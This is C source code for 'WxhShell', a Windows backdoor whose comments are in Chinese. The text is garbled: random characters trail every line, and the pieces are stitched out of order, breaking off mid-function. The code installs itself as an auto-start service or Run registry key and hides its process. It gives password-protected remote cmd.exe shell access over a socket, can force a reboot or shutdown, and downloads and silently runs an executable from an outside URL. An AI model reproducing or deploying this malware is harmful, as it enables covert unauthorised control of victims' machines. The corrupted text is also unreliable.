    } )SZ,J-H08w  
    break; GA*Khqdid  
    } ^a0 -5  
  // 关机 #._6lESK  
  case 'd': { !t [%'!v  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [8(9.6f  
    if(Boot(SHUTDOWN)) Kps GQM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w6%CB E2  
    else { FWx*&y~$  
    closesocket(wsh); MjeI?k}LJ  
    ExitThread(0); {;rpgc  
    } Xf/<.5A  
    break; 7|?@\ZE  
    } [,V92-s;N  
  // 获取shell $/sZYsN~T  
  case 's': { Q\th8/ /  
    CmdShell(wsh); 'm.XmVZL%  
    closesocket(wsh); t7`Pw33#kY  
    ExitThread(0); a!]QD`  
    break; o\Vt $  
  } p[+me o  
  // 退出 o+WrIAR  
  case 'x': { .Af)y_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); YSUH*i/%  
    CloseIt(wsh); pzp"NKx i  
    break; J ##X5'a3*  
    } }qX&*DU_@  
  // 离开 74N\G1  
  case 'q': { Bwvc@(3v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [Z&s0f1Qb  
    closesocket(wsh); |gxB; GG  
    WSACleanup(); kj"_Y"q=  
    exit(1); vnOF$6n  
    break; rMFf8D(Y  
        } (N>ew)Ke  
  } CX2q7azG  
  } :JG}%  
*j;r|P;g  
  // 提示信息 9>Z#o<*_/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ])";Z  
} YQd&rkr  
  } bI0+J)  
~Am %%$  
  return; 17i@GnbNb  
} {Ao^3vB  
"f$A0RL  
// shell模块句柄 OnPLz"-  
int CmdShell(SOCKET sock) ue2nfp  
{ hA19:H=7R0  
STARTUPINFO si; m!>'}z  
ZeroMemory(&si,sizeof(si)); bWzc=03  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -m-WUox4"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t|XC4:/>T  
PROCESS_INFORMATION ProcessInfo; R$3+ 01j|  
char cmdline[]="cmd"; d-2I_ )9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qMj e,Y  
  return 0; e?fjX-  
} KFrmH  
FnU;n  
// 自身启动模式 nff]Y$FB  
int StartFromService(void) q\=[v  
{ 5~6y.S  
typedef struct F?4'>ZW  
{ *qOCo_=P8  
  DWORD ExitStatus; ;a77YL TQ  
  DWORD PebBaseAddress; &3/H P)*<]  
  DWORD AffinityMask; YLd%"H $n  
  DWORD BasePriority; WkmS   
  ULONG UniqueProcessId; J(*"S!q)6  
  ULONG InheritedFromUniqueProcessId; jpS#'h  
}   PROCESS_BASIC_INFORMATION; VrP%4P+  
oW9rl]+  
PROCNTQSIP NtQueryInformationProcess; gVWLY;c 3}  
QVhBHAw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c>k6i?u:X7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L(rjjkH  
|n%N'-el  
  HANDLE             hProcess; )[Cm*Xxa$  
  PROCESS_BASIC_INFORMATION pbi; PQ|x?98  
:G)x+0u  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4s2ex{$+MA  
  if(NULL == hInst ) return 0; hkc_>F]Hx  
aB_z4dqwU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O&%T_Zk@@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~hX'FV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~Q]M_,`M  
cK/odOi  
  if (!NtQueryInformationProcess) return 0; >QPS0Vx[  
$~\qoW<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c9k,Dc  
  if(!hProcess) return 0; B75SLK:h=  
c9={~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v2g+o KO]  
tr+~@]I+  
  CloseHandle(hProcess); ~+ur*3X  
/PS]AM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sP8B?Tn1W  
if(hProcess==NULL) return 0; ^9E(8DD  
!(o2K!v0  
HMODULE hMod; D/>5\da+y  
char procName[255]; a-=apD1RvG  
unsigned long cbNeeded; (q7mzZY  
9)X<}*(qo  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4\RuJx  
)QT+;P.  
  CloseHandle(hProcess); r}bKVne  
6U]7V  
if(strstr(procName,"services")) return 1; // 以服务启动 6<6_W#  
iDN,}:<V  
  return 0; // 注册表启动 Grv|Wuli  
} m#p^'}]!;  
Wn5]2D\vkT  
// 主模块 ["9$HL  
int StartWxhshell(LPSTR lpCmdLine) YO61 pZY  
{ aT[7L9Cw  
  SOCKET wsl; Z2 4 m  
BOOL val=TRUE; @x4Dt&:"  
  int port=0; E$ rSrT(  
  struct sockaddr_in door; ~VKXL,.  
$T0[  
  if(wscfg.ws_autoins) Install(); sP7(1)\  
2e=Hjf )  
port=atoi(lpCmdLine); $4]PN2d&  
>i<-rO>kN  
if(port<=0) port=wscfg.ws_port; 9x\G(w  
@TDcj~oR ?  
  WSADATA data; FT=>haN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]y e &#  
J>Ha$1}u/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f|)t[,c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); NST6pu\,U  
  door.sin_family = AF_INET; ~Otf "<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?HTwTi 5!)  
  door.sin_port = htons(port); /|f]L9)2<  
e^TF.D?RS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +V^_ksi\  
closesocket(wsl); B*7o\~5  
return 1; hFv}JQJw<  
} dQb?Zi7g  
9OBPFF  
  if(listen(wsl,2) == INVALID_SOCKET) { &rubA  
closesocket(wsl); &9>d  
return 1; :z7!X.*  
} :h@:F7N _  
  Wxhshell(wsl); ?9cy5z[  
  WSACleanup(); b :00w["  
JZ [&:  
return 0; L`v,:#Y   
q)X&S*-<o~  
} w93,N+es6  
U$}]zaB  
// 以NT服务方式启动 w.\:I[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) th{h)( +H  
{ vP!gLN]TV  
DWORD   status = 0; OJaU,vQ#  
  DWORD   specificError = 0xfffffff; (XQG"G%U6W  
&V$R@~x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K"61i:F  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =*I9qjla[?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E;N8{Ye_  
  serviceStatus.dwWin32ExitCode     = 0; F(9T;F  
  serviceStatus.dwServiceSpecificExitCode = 0; <Coh &g_  
  serviceStatus.dwCheckPoint       = 0; *0@e_h  
  serviceStatus.dwWaitHint       = 0; `4MPXfoBL  
K""04Ew*pV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [@czvPi  
  if (hServiceStatusHandle==0) return; AyUVsIuPT=  
vjb{h'v  
status = GetLastError(); :Pv{ E  
  if (status!=NO_ERROR) $Fj7'@1(  
{ dj#<,e\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o <y7Ut  
    serviceStatus.dwCheckPoint       = 0; .?qS8:yA  
    serviceStatus.dwWaitHint       = 0; c<=1,TB"-_  
    serviceStatus.dwWin32ExitCode     = status; 'E9jv4E$n  
    serviceStatus.dwServiceSpecificExitCode = specificError; i \~4W$4I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); o9CB ,c7]  
    return; (DU{o\=  
  } '@FKgy;B)-  
XcXd7e  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8Vx'sJ>r4  
  serviceStatus.dwCheckPoint       = 0; .dV!du  
  serviceStatus.dwWaitHint       = 0;  6O}r4*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c72/e7gV  
} c!c!;(  
3HD=)k  
// 处理NT服务事件,比如:启动、停止 b3ZPlLx6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?^5x d1>E  
{ <q|19fH-5  
switch(fdwControl) Kf*+Ilq%L  
{ *-7O| ''  
case SERVICE_CONTROL_STOP: ?AEpg.9R-  
  serviceStatus.dwWin32ExitCode = 0; R[b?kT-%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; AbB%osz}Ed  
  serviceStatus.dwCheckPoint   = 0; >.A{=?   
  serviceStatus.dwWaitHint     = 0; 2&M 8Wb#  
  { UX6-{ RP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F n\)*; ^  
  } e>[QF+e)y  
  return; ev>: 3_ s  
case SERVICE_CONTROL_PAUSE: +Fk.B@KT,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; P)3e^~+A  
  break; BkcOsJIz  
case SERVICE_CONTROL_CONTINUE: nxG vh4'i8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jGt[[s  
  break; p&7>G-.  
case SERVICE_CONTROL_INTERROGATE: xk,E A U  
  break; P _9O8"W  
}; JSM{|HJxh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^vzNs>eJ  
} j=7]"%  
`'~|DG}a  
// 标准应用程序主函数 /)|*Vzu  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) GB0] |z5  
{ [mhY_Hmz]  
-C\m' T,1  
// 获取操作系统版本 `O#y%*E  
OsIsNt=GetOsVer(); iS"rMgq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x ` $4  
U7OW)tUf  
  // 从命令行安装 ~ 60J  
  if(strpbrk(lpCmdLine,"iI")) Install(); )Aj~ xA  
f@ySTz;u  
  // 下载执行文件 5)}xqE"x  
if(wscfg.ws_downexe) { :Z<-J`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jYU#] |k~  
  WinExec(wscfg.ws_filenam,SW_HIDE); VB Ce=<  
} yCwQ0|  
| #,b1|af  
if(!OsIsNt) { +!X^E9ra  
// 如果时win9x,隐藏进程并且设置为注册表启动 sGV%O=9?2  
HideProc(); wJ{M&n1H  
StartWxhshell(lpCmdLine); >4;A (s`  
} ydpsPU?wj5  
else SgJQH7N  
  if(StartFromService()) [;c#LJ/y  
  // 以服务方式启动 [Ga 9^e$Zv  
  StartServiceCtrlDispatcher(DispatchTable); vJYy`k^Y  
else jvW/M.q4  
  // 普通方式启动 Od!j+.OY<  
  StartWxhshell(lpCmdLine); ;yH/GN#O  
K]RkKMT,  
return 0; >J4_/p>Qs  
} zdr?1=  
*'Ch(c:rtH  
8Y:bvs.j  
C6GYhG]  
=========================================== SwQb"  
hd\iW7  
\i{=%[c  
{W@Y4Qqq  
klPc l[.w  
gX);/;9mm+  
" U|,VH-#  
__)9JF  
#include <stdio.h> <MY_{o8d  
#include <string.h> x }-rAr  
#include <windows.h> %6 Bt%H  
#include <winsock2.h> fuQ? @F  
#include <winsvc.h> sURHj&:t|  
#include <urlmon.h> TzVNZDQ`Jl  
^G15]Pyw  
#pragma comment (lib, "Ws2_32.lib") * ,,D%L  
#pragma comment (lib, "urlmon.lib") k)'c$  
JI(8{ f  
#define MAX_USER   100 // 最大客户端连接数 zL1H[}[z+  
#define BUF_SOCK   200 // sock buffer 8He^j5  
#define KEY_BUFF   255 // 输入 buffer "Y4 tt0I  
*2@Ne[dYEF  
#define REBOOT     0   // 重启 g!4"3Dtdg  
#define SHUTDOWN   1   // 关机 7)~/`w)P  
HdLVXaD/  
#define DEF_PORT   5000 // 监听端口 Kx ';mgG#$  
U1B5gjN  
#define REG_LEN     16   // 注册表键长度 %T!UEl`v  
#define SVC_LEN     80   // NT服务名长度 je.mX/Lpj  
JIDE]f  
// 从dll定义API +.{_n(kU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C%l~qf1n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Rom|Bqo;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }*;Hhbox  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b bX2D/  
B2VUH..am  
// wxhshell配置信息 6M F%$K3  
struct WSCFG { tFXG4+$D  
  int ws_port;         // 监听端口 Ot5 $~o  
  char ws_passstr[REG_LEN]; // 口令 W&)O i ZN  
  int ws_autoins;       // 安装标记, 1=yes 0=no t[%9z6t  
  char ws_regname[REG_LEN]; // 注册表键名 P$\( Bd\76  
  char ws_svcname[REG_LEN]; // 服务名 W%) foJ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R|Y)ow51  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Bx2E9/S3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q']:k}y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \3Ys8umKq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |0BmEF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,0;E_i7  
(',G Ako  
}; ;DBO  
{}[S,L  
// default Wxhshell configuration .F &\xa{  
struct WSCFG wscfg={DEF_PORT, H"6:!;9,  
    "xuhuanlingzhe", P6dIU/w  
    1, h$y1"!N(  
    "Wxhshell", (:-=XR9A`  
    "Wxhshell", yin"+&<T  
            "WxhShell Service", }B^KV#_{S  
    "Wrsky Windows CmdShell Service", sLPFeibof5  
    "Please Input Your Password: ", {^5r5GB=*  
  1, CZt)Q4  
  "http://www.wrsky.com/wxhshell.exe", | \C{R  
  "Wxhshell.exe" -7>vh|3  
    }; qK#\k@E  
R2-OT5Ej  
// 消息定义模块 =2# C{u.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U5%EQc-"P  
char *msg_ws_prompt="\n\r? for help\n\r#>"; lhKd<Y"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9["yL{IPe  
char *msg_ws_ext="\n\rExit."; :^%My]>T  
char *msg_ws_end="\n\rQuit."; 0 ; M+8  
char *msg_ws_boot="\n\rReboot..."; Jx(%t<2  
char *msg_ws_poff="\n\rShutdown..."; Q];+?Pu.  
char *msg_ws_down="\n\rSave to "; UeX3cD  
kL{2az3"c  
char *msg_ws_err="\n\rErr!"; rU%\ 8T0f  
char *msg_ws_ok="\n\rOK!"; i` n,{{x&4  
rV54-K;`0  
char ExeFile[MAX_PATH]; pu=Q;E_f[  
int nUser = 0; 32:q'   
HANDLE handles[MAX_USER]; #Q"el3P+q  
int OsIsNt; bw ' yX  
xLPyV&j-  
SERVICE_STATUS       serviceStatus; ;q59Cr75  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; iO(9#rV  
Atzp\oO  
// 函数声明 dq[j.Nmq  
int Install(void); JY~s-jxa  
int Uninstall(void); /k l0(='  
int DownloadFile(char *sURL, SOCKET wsh); \M'b %  
int Boot(int flag); J+kxb"#d  
void HideProc(void); ;a[56W  
int GetOsVer(void); VrrCW/ o  
int Wxhshell(SOCKET wsl); !i2=zlpb[  
void TalkWithClient(void *cs); ?yU|;my  
int CmdShell(SOCKET sock); &Dgho  
int StartFromService(void); Jr==AfxyT  
int StartWxhshell(LPSTR lpCmdLine); ehoDWO]S  
L Lm{:T7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w%g@X6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Q_x/e|sd  
ke!)C[^7z  
// 数据结构和表定义 ,g;~:  
SERVICE_TABLE_ENTRY DispatchTable[] = <U (gjX  
{ AM#VRRTU  
{wscfg.ws_svcname, NTServiceMain}, h)~KD%  
{NULL, NULL} Yy@;U]R  
}; a{mtG{Wc  
VX2 KE@  
// 自我安装 j_H{_Ug  
int Install(void) s 'u6Ep/V  
{ ^8a,gA8.  
  char svExeFile[MAX_PATH]; ck){N?y  
  HKEY key; ?sfA/9"  
  strcpy(svExeFile,ExeFile); Nc ,"wA  
2kp.Ljt@  
// 如果是win9x系统,修改注册表设为自启动 MLG%+@\  
if(!OsIsNt) { "[q/2vC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FAzshR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k9vr6We'  
  RegCloseKey(key);  I QS|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lc,{0$ 1<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Hl8-1M$&  
  RegCloseKey(key); !vHnMY~AG  
  return 0; <=l!~~%  
    } qH: ` O%,  
  } \f}S Hh  
} &HNJ '  
else { 4/&Us  
><mZOTn e;  
// 如果是NT以上系统,安装为系统服务 TxoMCN?7c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); be|k"s|6)  
if (schSCManager!=0) xa[<k >r3  
{ (_^g:>)Cs  
  SC_HANDLE schService = CreateService hc4<`W{  
  ( b'pbf  
  schSCManager, RFU(wek  
  wscfg.ws_svcname, YR@@:n'TP  
  wscfg.ws_svcdisp, V7G?i\>  
  SERVICE_ALL_ACCESS, :z_D?UQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , EW%%W6O6  
  SERVICE_AUTO_START, s/Fc7V!;  
  SERVICE_ERROR_NORMAL, Z,M?!vK  
  svExeFile, ;cH|9m:Y  
  NULL, W/<]mm~95  
  NULL, iW(HOsA  
  NULL, sU^2I v\%  
  NULL, M`*B/Fh 2  
  NULL KdHR.;*  
  ); r :{2}nE  
  if (schService!=0) ClCb.Ozj4  
  { ID & Iz  
  CloseServiceHandle(schService); r  /63  
  CloseServiceHandle(schSCManager); mT <4@RrB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YAv-5  
  strcat(svExeFile,wscfg.ws_svcname); E{[c8l2B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mk2T   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #I|Vyufw  
  RegCloseKey(key); ^o+2:G5z}  
  return 0; bHH{bv~Z  
    } |\TOSaZ  
  } 5"u-oE&  
  CloseServiceHandle(schSCManager); 1&\_|2  
} GNS5v-"H  
} ^3B{|cqf  
&PI}o  
return 1; &?IOrHSv!  
} .+t{o [  
^W5rL@h_  
// 自我卸载 bo '  
int Uninstall(void) a,b ;H(em  
{ i[`nu#n/  
  HKEY key; Q6 @}t&k4C  
=G]} L<  
if(!OsIsNt) { c[}h( jkP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B$1nq#@  
  RegDeleteValue(key,wscfg.ws_regname); 1k6f|Al -  
  RegCloseKey(key); Wp/!;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *[*LtyCQt4  
  RegDeleteValue(key,wscfg.ws_regname); R/R[r> 1)6  
  RegCloseKey(key); MNzq,/Wf  
  return 0; Vy.A`Hz  
  } gV1&b (h  
} 4- ^|e  
} ;2q;RT`h  
else { M p:c.  
vmK<_xbwd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @ +h2R  
if (schSCManager!=0) 5gARGA  
{ 4Z)`kS} =]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $6}siU7s4  
  if (schService!=0) EGO;g^,  
  { UeV2`zIg`  
  if(DeleteService(schService)!=0) { ]`0(^)U &  
  CloseServiceHandle(schService); W Y_}D!O  
  CloseServiceHandle(schSCManager); Vh$~]>t:f  
  return 0; ?`V%[~4_I  
  } XL c&7  
  CloseServiceHandle(schService); zuUf:%k}I  
  } D{'x7!5r  
  CloseServiceHandle(schSCManager); FiMP_ y*S  
} "2;$?*hO#  
} osyY+)G'sV  
,LKY?=T$z  
return 1; 7r 07N'  
} ?6+GE_VZ  
6[,*2a8  
// 从指定url下载文件 X[_w#Hwp-  
int DownloadFile(char *sURL, SOCKET wsh) uy)iB'st&  
{ >DVjO9Kf  
  HRESULT hr; u4bPj2N8I  
char seps[]= "/"; (2(I|O#  
char *token; htk5\^(X  
char *file; 85Zy0l  
char myURL[MAX_PATH]; 28JWQ%-  
char myFILE[MAX_PATH]; *X+T>SKL  
SoeL_#+^W  
strcpy(myURL,sURL); lTW5> %  
  token=strtok(myURL,seps); >e :&kp  
  while(token!=NULL) |B<+Y<)f^  
  { VJ;n0*/  
    file=token; *X8<hYKZq  
  token=strtok(NULL,seps); vT"T*FKh:  
  } J @C8;]  
|VbF&*v`  
GetCurrentDirectory(MAX_PATH,myFILE); rD<G_%hP  
strcat(myFILE, "\\"); N(q%|h<Z/=  
strcat(myFILE, file); 9:"%j  
  send(wsh,myFILE,strlen(myFILE),0); EzqYHY+_r  
send(wsh,"...",3,0); zm4Okg)w@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); li;Np5P  
  if(hr==S_OK) +RQlMAB  
return 0; -1d2Qed  
else Bi/=cI  
return 1; 4]0|fi3}>  
5jD2%"YUV  
} 9$8B)x  
fQRGz\r*k  
// 系统电源模块 XSC._)ztEE  
int Boot(int flag) o#gb+[  
{ 'qwFVP  
  HANDLE hToken; >M[wh>  
  TOKEN_PRIVILEGES tkp; M%pxv6?""{  
eE5U|y)_  
  if(OsIsNt) { }eb}oK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z40uY]Ck  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +168!Jw;  
    tkp.PrivilegeCount = 1; W(a31d  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `VY -3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bDVz+*bU}  
if(flag==REBOOT) { (Em^qN  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) uq~$HXdc  
  return 0; |S[Gg  
} LPX@oha  
else { {;1Mud  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *t.L` G  
  return 0; S]mXfB(mh  
} /=&HunaxI  
  } Q laz3X,P  
  else { yM>:,TS  
if(flag==REBOOT) { QxG:NN;jW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !]=  
  return 0; |1C=Ow*"  
} H+y(W5|2/X  
else { 2Sbo7e  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B'"(qzE-kM  
  return 0; T#%r\f,l0  
} Y ]&D;w  
} swV/M i>  
:"5'l>la  
return 1; |LA@guN  
} D_er(  
B|U*2|e  
// win9x进程隐藏模块 k"X<gA  
void HideProc(void) T {Q]  
{ - `F#MN  
C# IV"Pkq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); E+-ah vk  
  if ( hKernel != NULL ) It>8XKS  
  { F33&A<(,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ={P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 78&(>8@m  
    FreeLibrary(hKernel); 5/4N  Y  
  } N9@@n:JT  
~/s(.oji  
return; 6cH.s+  
} #AHX{<  
v&6I\1  
// 获取操作系统版本 gz8>uGx&V!  
int GetOsVer(void) QII-9 RxX"  
{ +Qy0K5Ee  
  OSVERSIONINFO winfo; 0Snl_@s  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); UkK`5p<D7  
  GetVersionEx(&winfo); >__t 2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) uj#bK 7  
  return 1; 7`-fN|  
  else  l%XuYYQ  
  return 0; 5Y77g[AX2-  
} VBV y3fnj  
~5LlIpf36|  
// 客户端句柄模块 r5y p jT^  
int Wxhshell(SOCKET wsl) "`<tq#&C1  
{ OSACH0h  
  SOCKET wsh; nP`#z&C  
  struct sockaddr_in client; @vzv9c[  
  DWORD myID; 9XtR8MH  
I- oY@l`  
  while(nUser<MAX_USER) l]tda(  
{ CqHCJ '  
  int nSize=sizeof(client); k$]-fQM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }4G/x;D  
  if(wsh==INVALID_SOCKET) return 1; W$&{jr-p  
#nG?}*#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a&oz<4oT  
if(handles[nUser]==0) klSzmi4M  
  closesocket(wsh); vzDoF0Ts*p  
else AA$+ayzx9{  
  nUser++; nGb%mlb  
  } h# R;'9*V  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); W  &wqN  
^APPWQUl  
  return 0; \$;Q3t3  
} @hC,J  
M.B0)  
// 关闭 socket '?7?"v  
void CloseIt(SOCKET wsh) rjsqXo:9  
{ 'u"r^o?  
closesocket(wsh); e<F>u#d  
nUser--; MP"Pqt  
ExitThread(0); v&}+ps_W  
} ,au-g)IFZ  
7nr+X Os  
// 客户端请求句柄 iIrH&}2  
void TalkWithClient(void *cs) 6,Aj5jG  
{ :)7{$OR&  
up`.#GWm  
  SOCKET wsh=(SOCKET)cs; DVNx\t  
  char pwd[SVC_LEN]; jm~(OLg  
  char cmd[KEY_BUFF]; dC&{zNG  
char chr[1]; )0F\[Jl}  
int i,j; q]PeS~PjF\  
gZkjh{rQ  
  while (nUser < MAX_USER) { r(qAe{  
d3% 1 P)  
if(wscfg.ws_passstr) { E1'| ;}/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k)l*L1Y4:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )1de<# qM  
  //ZeroMemory(pwd,KEY_BUFF); $:&?!>H  
      i=0; 2@!Ou$W  
  while(i<SVC_LEN) { 6k14xPj  
{|cuu"j26  
  // 设置超时 Y;qA@|  
  fd_set FdRead; #fT1\1[]  
  struct timeval TimeOut; ~r(/)w\  
  FD_ZERO(&FdRead); (y^[k {#  
  FD_SET(wsh,&FdRead); o]Ln:kl  
  TimeOut.tv_sec=8; >b^|SL  
  TimeOut.tv_usec=0; T2Duz,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #p<1@,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); uLr 9*nxd  
<\0+*`">g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LHy-y%?i  
  pwd=chr[0]; X0G Mly  
  if(chr[0]==0xd || chr[0]==0xa) { fK-tvP0}*  
  pwd=0; lawjGI  
  break; e[5= ?p@|  
  } {/Mz /|%  
  i++; {~cG'S Y%  
    } z 'iAj  
$inpiO|s  
  // 如果是非法用户,关闭 socket D)0pm?*5A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Iv J ;9d  
} i,k.#Vx[m  
c{X>i>l>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &RSUB;y mL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ' pnkm0=`  
]U9f4ODt  
while(1) { E05RqnqBn0  
iEe<+Eyns  
  ZeroMemory(cmd,KEY_BUFF); -wA^ao   
G5;N#^myJ  
      // 自动支持客户端 telnet标准   Os1o!w:m5  
  j=0; xRTr<j0s  
  while(j<KEY_BUFF) { QtF'x<cB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W_]Su  
  cmd[j]=chr[0]; 52RFB!Z[  
  if(chr[0]==0xa || chr[0]==0xd) { D4';QCwo  
  cmd[j]=0; WnATgY t  
  break; u+U '|6)E  
  } I\8f`l  
  j++; ]g}Tqf/N%  
    } ]t4 9Efw  
&DUt`Dr w  
  // 下载文件 0/r\#"+XT  
  if(strstr(cmd,"http://")) { F0&BEJBkU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); RA5*QW  
  if(DownloadFile(cmd,wsh)) ;c>Co:W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); PP+-D~r`}  
  else u0 & aw  
